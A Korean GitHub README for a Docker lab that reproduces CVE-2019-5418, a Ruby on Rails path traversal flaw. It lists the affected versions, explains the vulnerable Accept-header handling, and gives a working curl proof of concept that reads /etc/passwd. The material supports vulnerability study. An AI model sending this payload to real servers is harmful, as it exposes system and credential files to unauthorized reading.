daehyeok0618/cve-2019-5418CVE-2019-5418 Ruby on Rails 경로 탐색 익스플로잇을 위한 Docker 기반 랩 환경. 조작된 Accept 헤더를 통해 임의 서버 파일을 읽는 PoC curl 명령이 포함되어 있습니다.
이 프로젝트는 Ruby on Rails의 로컬 파일 포함 취약점(CVE-2019-5418)을 실습하고 재현하기 위한 환경입니다.
해당 취약점은 Accept 헤더를 통한 경로 탐색으로 서버 내부의 임의의 파일을 읽을 수 있는 취약점입니다.
루비 온 레일즈(Ruby on Rails)는 개발자가 빠르고 쉽게 웹 애플리케이션을 구축할 수 있는 웹 애플리케이션 프레임워크입니다.
Ruby on Rails 작업 뷰 <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 및 v3에는 로컬 파일 포함 취약점이 있습니다.
render file애플리케이션 외부에서 뷰를 렌더링하기 위해 컨트롤러에서 사용할 때 Rails는 사용자가 제공한 Accept 헤더를 기반으로 파일 위치를 결정합니다. 값이 있는 Accept 헤더를 보내면 Accept: ../../../../../../../../etc/passwd{{공격자는 경로 탐색 취약성을 악용하여 임의의 파일을 읽을 수 있습니다.
다음 명령을 실행하여 Ruby on Rails 5.2.2를 컴파일하고 시작하면 됩니다.
docker compose build
docker compose up -d
서버가 시작 후 http://your-ip:3000로 접속하면 Ruby on Rails 페이지를 방문할 수 있습니다.
curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots
Accept 헤더를 통해 서버 내부의 임의의 파일을 성공적으로 읽었습니다.